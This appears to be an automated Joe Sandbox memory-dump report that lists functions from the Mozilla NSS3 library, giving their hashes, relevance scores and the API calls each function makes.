Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Value$calloc$AllocateArenaCriticalEnterSectionUnlockmemset
String ID:
API String ID: 1716546843-0
Opcode ID: b6f38ad5ba43477f42edf135c0ef99de23d09ea770f24bfcfe365f7702ce9040
Instruction ID: 07a3ac4a6c493baa11b048654c0181d274db923973aa93444c43307a72f565cd
Opcode Fuzzy Hash: b6f38ad5ba43477f42edf135c0ef99de23d09ea770f24bfcfe365f7702ce9040
Instruction Fuzzy Hash: 47313472E00250ABD7009FE8DC45A59B7A8FF09758F188626EC1C97B01E732E8C6C7D2

Function 6CA9AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CA9AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CA9AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA9AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CA9AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CBB9500), ref: 6CA9AF23

Part of subcall function 6CAEF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CAEF0C8
Part of subcall function 6CAEF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAEF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA9AF37

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 415c9a61f3747c1f1b990369ddb864d2011ff4b13bc449c550dc4aea20f2d378
Instruction ID: 2bf6e8d1dfde3bbcd1c85278035819a4cb255222ab21ea5c36c12c4437512c44
Opcode Fuzzy Hash: 415c9a61f3747c1f1b990369ddb864d2011ff4b13bc449c550dc4aea20f2d378
Instruction Fuzzy Hash: C1215AB2D152105BEB008F18DC42B9A7BE5AF8572CF14431AFC199B780EB31C98987A7

Function 6CBA8A50 Relevance: 9.1, APIs: 6, Instructions: 84networkthreadCOMMON

Download Yara Rule

APIs

htons.WSOCK32(?), ref: 6CBA8A8F

Part of subcall function 6CA80F00: PR_GetPageSize.NSS3(6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F1B
Part of subcall function 6CA80F00: PR_NewLogModule.NSS3(clock,6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F25

htons.WSOCK32(?), ref: 6CBA8ACB
PR_GetCurrentThread.NSS3(?), ref: 6CBA8AE2
htons.WSOCK32(?), ref: 6CBA8B1E
htonl.WSOCK32(7F000001,?), ref: 6CBA8B3B

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: htons$CurrentModulePageSizeThreadhtonl
String ID:
API String ID: 3860140138-0
Opcode ID: 79d7af5956fc20566e6273310b58d239e0214e73cd9d34608b08ddc7446e7918
Instruction ID: 0478aeeb04ae33706c5ce71fe1e7f70a8b605d47bd76ef5acef8da56c3f22a4d
Opcode Fuzzy Hash: 79d7af5956fc20566e6273310b58d239e0214e73cd9d34608b08ddc7446e7918
Instruction Fuzzy Hash: 3421D170D187D185C3208FB9854166A72F5EF95308B51DA1FE4DD93E10F73294C5C351

Function 6CB1EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB1EE85
realloc.MOZGLUE(384753FC,?), ref: 6CB1EEAE
PORT_Alloc_Util.NSS3(?), ref: 6CB1EEC5

Part of subcall function 6CAF0BE0: malloc.MOZGLUE(6CAE8D2D,?,00000000,?), ref: 6CAF0BF8
Part of subcall function 6CAF0BE0: TlsGetValue.KERNEL32(6CAE8D2D,?,00000000,?), ref: 6CAF0C15

htonl.WSOCK32(?), ref: 6CB1EEE3
htonl.WSOCK32(00000000,?), ref: 6CB1EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CB1EF01

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 1a8f7ff4b2b299e63a3ae5ec036db0291c3a6b1eb1d8401b5122fd017be5bcd7
Instruction ID: d993ec6d13289219105e119a1ee8c1c7008dcb08ebd404ec9de1abd9cbe3adbd
Opcode Fuzzy Hash: 1a8f7ff4b2b299e63a3ae5ec036db0291c3a6b1eb1d8401b5122fd017be5bcd7
Instruction Fuzzy Hash: 8921E732A042A49FDF509F28DC84B5EB7A4EF49758F148129ED199BE41D730EC15CBE2

Function 6CACEE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CACEE49

Part of subcall function 6CAEFAB0: free.MOZGLUE(?,-00000001,?,?,6CA8F673,00000000,00000000), ref: 6CAEFAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CACEE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6CACEE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6CACEE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CACEEB3

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: aaa7aea042df936a419190531c3c5acf4b9e107278341a988fde8fd9dccaa16d
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 4621DBB66002107BEB118E54DC81EAB7768EF49748F080164FD049B341E771DC54C7F1

Function 6CAF0AA0 Relevance: 9.1, APIs: 6, Instructions: 79COMMON

Download Yara Rule

APIs

PL_HashTableDestroy.NSS3(?,?,?,6CAA7F62,00000000,00000000,?,?,?,6CAA80DD), ref: 6CAF0AAE
PL_HashTableDestroy.NSS3(?,?,?,6CAA7F62,00000000,00000000,?,?,?,6CAA80DD), ref: 6CAF0ACA
PL_HashTableDestroy.NSS3(?,?,?,6CAA7F62,00000000,00000000,?,?,?,6CAA80DD), ref: 6CAF0B05
PORT_FreeArena_Util.NSS3(?,00000000,?,?,6CAA7F62,00000000,00000000,?,?,?,6CAA80DD), ref: 6CAF0B24
free.MOZGLUE(?,?,?,6CAA7F62,00000000,00000000,?,?,?,6CAA80DD), ref: 6CAF0B3C
memset.VCRUNTIME140(6CBF24E4,00000000,000005B0,?,?,6CAA7F62,00000000,00000000,?,?,?,6CAA80DD), ref: 6CAF0BC2

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: DestroyHashTable$Arena_FreeUtilfreememset
String ID:
API String ID: 4033302747-0
Opcode ID: 87b0ada2934a82619f96cdca43ab3e85ff306141081069f18f9062ec3282079b
Instruction ID: b3acec9620538325011b0d4a61396a49334de47ce30a71196683640f48865362
Opcode Fuzzy Hash: 87b0ada2934a82619f96cdca43ab3e85ff306141081069f18f9062ec3282079b
Instruction Fuzzy Hash: BA21E3F0B012829BFF10DB6AA80DB463AB8A706348F454025E979D3B41E7B59199CB52

Function 6CAE8A60 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CA961C4,?,6CA95F9C,00000000), ref: 6CAE8A81
TlsGetValue.KERNEL32(?,?,?,6CA95F9C,00000000), ref: 6CAE8A9E
EnterCriticalSection.KERNEL32(?,?,?,?,6CA95F9C,00000000), ref: 6CAE8AB7
PR_Unlock.NSS3(?,?,?,?,?,6CA95F9C,00000000), ref: 6CAE8AD2
PR_NotifyCondVar.NSS3(?,?,?,?,?,6CA95F9C,00000000), ref: 6CAE8B05
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,6CA95F9C,00000000), ref: 6CAE8B18

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CondNotifyValue$CriticalEnterSectionUnlock
String ID:
API String ID: 1007705821-0
Opcode ID: 63ae3afb54157099347f2b05861683e4ed4c454b4f203d43b722b66e7215b6c0
Instruction ID: cca571cf90ad6195b6e0998a9691dcb6446469a1f905b732c9f22a077f41d05b
Opcode Fuzzy Hash: 63ae3afb54157099347f2b05861683e4ed4c454b4f203d43b722b66e7215b6c0
Instruction Fuzzy Hash: 15214BB06057188BDB11AF7CD144669BBF4FB09348F0A4A2AD89997B40E730E4D8DBD2

Function 6CAE4820 Relevance: 9.1, APIs: 6, Instructions: 74stringCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CAE4EB8,?), ref: 6CAE4884

Part of subcall function 6CAE8800: TlsGetValue.KERNEL32(?,6CAF085A,00000000,?,6CA98369,?), ref: 6CAE8821
Part of subcall function 6CAE8800: TlsGetValue.KERNEL32(?,?,6CAF085A,00000000,?,6CA98369,?), ref: 6CAE883D
Part of subcall function 6CAE8800: EnterCriticalSection.KERNEL32(?,?,?,6CAF085A,00000000,?,6CA98369,?), ref: 6CAE8856
Part of subcall function 6CAE8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CAE8887
Part of subcall function 6CAE8800: PR_Unlock.NSS3(?,?,?,?,6CAF085A,00000000,?,6CA98369,?), ref: 6CAE8899

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CAE4EB8,?,?,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE484C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CAE4EB8,?,?,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE486D
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CAA78F8), ref: 6CAE4899
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAE48A9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAE48B8

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockstrcmp$CondErrorWait
String ID:
API String ID: 2226052791-0
Opcode ID: c1ee09a81e60dd6cbf717aabf5a7d8c9cbd5f889773b7fb2655ff58ff756b1da
Instruction ID: f981f9919455492949582586674c38337aaf99f3c764740f9d53856dbb36c880
Opcode Fuzzy Hash: c1ee09a81e60dd6cbf717aabf5a7d8c9cbd5f889773b7fb2655ff58ff756b1da
Instruction Fuzzy Hash: 4321F976F002909BEF005EE5EC8855A77BCEF0E758F080524DE5947B01E721E89897E2

Function 6CAA89E0 Relevance: 9.1, APIs: 6, Instructions: 64COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CAA88AE,-00000008), ref: 6CAA8A04
EnterCriticalSection.KERNEL32(?), ref: 6CAA8A15
memset.VCRUNTIME140(6CAA88AE,00000000,00000132), ref: 6CAA8A27
PR_Unlock.NSS3(?), ref: 6CAA8A35
memset.VCRUNTIME140(6CAA88AE,00000000,00000132,00000000,-00000008,00000000,?,?,6CAA88AE,-00000008), ref: 6CAA8A45
free.MOZGLUE(6CAA88A6,?,6CAA88AE,-00000008), ref: 6CAA8A4E

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: memset$CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 65992600-0
Opcode ID: 5bf9bf3037ae085a579c38a00eca1a77a08e85341a47dfd67986f8a45bf08b1f
Instruction ID: 9f3a1dfbd2c660fd97e197fdce4a7b83abd561b044ba21936ab9c07b7a5bb38f
Opcode Fuzzy Hash: 5bf9bf3037ae085a579c38a00eca1a77a08e85341a47dfd67986f8a45bf08b1f
Instruction Fuzzy Hash: AA1108B5E003449FEB009FE8EC85B5EBB78FF05754F050526E91897600E731D59687E1

Function 6CAA8A90 Relevance: 9.1, APIs: 6, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 6CAA8FE0: PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CAB0710), ref: 6CAA8FF1
Part of subcall function 6CAA8FE0: calloc.MOZGLUE(00000001,00000000,?,?,6CAB0710), ref: 6CAA904D
Part of subcall function 6CAA8FE0: memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CAB0710), ref: 6CAA9066
Part of subcall function 6CAA8FE0: PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CAB0710), ref: 6CAA9078

TlsGetValue.KERNEL32 ref: 6CAA8AC1
EnterCriticalSection.KERNEL32 ref: 6CAA8AD6
PL_FinishArenaPool.NSS3 ref: 6CAA8AE5
PR_Unlock.NSS3 ref: 6CAA8AF7
DeleteCriticalSection.KERNEL32 ref: 6CAA8B02
free.MOZGLUE ref: 6CAA8B0E

Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807AD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807CD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807D6
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA1204A), ref: 6CA807E4
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,6CA1204A), ref: 6CA80864
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA80880
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,6CA1204A), ref: 6CA808CB
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808D7
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808FB

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Value$calloc$CriticalPrivateSectionThread$ArenaDeleteEnterFinishPoolUnlockfreememcpy
String ID:
API String ID: 417085867-0
Opcode ID: fe50c7c64973126628a677d0cdccfcaf8ad41b35eebb101b3d33338d0a7ca484
Instruction ID: 061b2df43b8395b1e58186a0e10fc477eef1de72091653a726db68f14cfd4e39
Opcode Fuzzy Hash: fe50c7c64973126628a677d0cdccfcaf8ad41b35eebb101b3d33338d0a7ca484
Instruction Fuzzy Hash: DC110AB15046459BDB00BFB8D58966EBBF4FF05348F05496AD88587700EB34D4DACBD2

Function 6CBA8910 Relevance: 9.1, APIs: 6, Instructions: 55threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CBA892E

Part of subcall function 6CA80F00: PR_GetPageSize.NSS3(6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F1B
Part of subcall function 6CA80F00: PR_NewLogModule.NSS3(clock,6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F25

PR_Lock.NSS3 ref: 6CBA8950

Part of subcall function 6CB59BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CA81A48), ref: 6CB59BB3
Part of subcall function 6CB59BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CA81A48), ref: 6CB59BC8

getprotobynumber.WSOCK32(?), ref: 6CBA8959
GetLastError.KERNEL32(?), ref: 6CBA8967
PR_GetCurrentThread.NSS3(?,?), ref: 6CBA896F
PR_Unlock.NSS3(?,?), ref: 6CBA898A

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CurrentThread$CriticalEnterErrorLastLockModulePageSectionSizeUnlockValuegetprotobynumber
String ID:
API String ID: 4143355744-0
Opcode ID: 719aa3498a5c769239988fdc8147f87077942c896f60beabcac58cbf915ab675
Instruction ID: 7ee8bb811e3e9670c1ac3248ee61ef06eea2440943504d7e0596648fde57d6a1
Opcode Fuzzy Hash: 719aa3498a5c769239988fdc8147f87077942c896f60beabcac58cbf915ab675
Instruction Fuzzy Hash: C411C6B2E181E09BCB005FF9A80054E3764EF45378F095366DC5957B61D7318C16C7CA

Function 6CAA8B50 Relevance: 9.1, APIs: 6, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,6CAB0948,00000000), ref: 6CAA8B6B
EnterCriticalSection.KERNEL32(?,?,?,6CAB0948,00000000), ref: 6CAA8B80
PL_FinishArenaPool.NSS3(?,?,?,?,6CAB0948,00000000), ref: 6CAA8B8F
PR_Unlock.NSS3(?,?,?,?,6CAB0948,00000000), ref: 6CAA8BA1
DeleteCriticalSection.KERNEL32(?,?,?,?,6CAB0948,00000000), ref: 6CAA8BAC
free.MOZGLUE(?,?,?,?,?,6CAB0948,00000000), ref: 6CAA8BB8

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSection$ArenaDeleteEnterFinishPoolUnlockValuefree
String ID:
API String ID: 1456478736-0
Opcode ID: e6c7b302c687504ca27634c83ee9eb7e5978c1bee85aebde3c81f69272d17832
Instruction ID: 108cdd43a17404db18d5a0ca429baa94cdd98cb82baaa34642e8e51f422ae218
Opcode Fuzzy Hash: e6c7b302c687504ca27634c83ee9eb7e5978c1bee85aebde3c81f69272d17832
Instruction Fuzzy Hash: CF1148B1604A459FDB00BFB8D18916EBBF4FF09254F05492AD88587700EB34E4DACBD2

Function 6CA7C4E0 Relevance: 9.1, APIs: 6, Instructions: 52COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CA7C4F0
free.MOZGLUE ref: 6CA7C51A
TlsSetValue.KERNEL32 ref: 6CA7C540
free.MOZGLUE ref: 6CA7C557
DeleteCriticalSection.KERNEL32 ref: 6CA7C56A
free.MOZGLUE ref: 6CA7C576

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$Value$CriticalDeleteSection
String ID:
API String ID: 195087141-0
Opcode ID: 442d195374a0b2e15fb7a3409d07967fc33ba65c5ebdaa58be8bf1fad031546a
Instruction ID: 49fbb86633ec9604bbcfb7f66cb51b00ba2b45db136c7f17fd09aaf558079b28
Opcode Fuzzy Hash: 442d195374a0b2e15fb7a3409d07967fc33ba65c5ebdaa58be8bf1fad031546a
Instruction Fuzzy Hash: 44110AB4604B508BCB20BF79D14916EBFF4BF49789F054A2DD8DA87700EB349098CB92

Function 6CAAAB10 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(D958E852,6CAB1397,5B5F5EC0,?,?,6CAAB1EE,2404110F,?,?), ref: 6CAAAB3C
free.MOZGLUE(D958E836,?,6CAAB1EE,2404110F,?,?), ref: 6CAAAB49
DeleteCriticalSection.KERNEL32(5D5E6CCA), ref: 6CAAAB5C
free.MOZGLUE(5D5E6CBE), ref: 6CAAAB63
DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CAAAB6F
free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CAAAB76

Part of subcall function 6CADF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CADF854
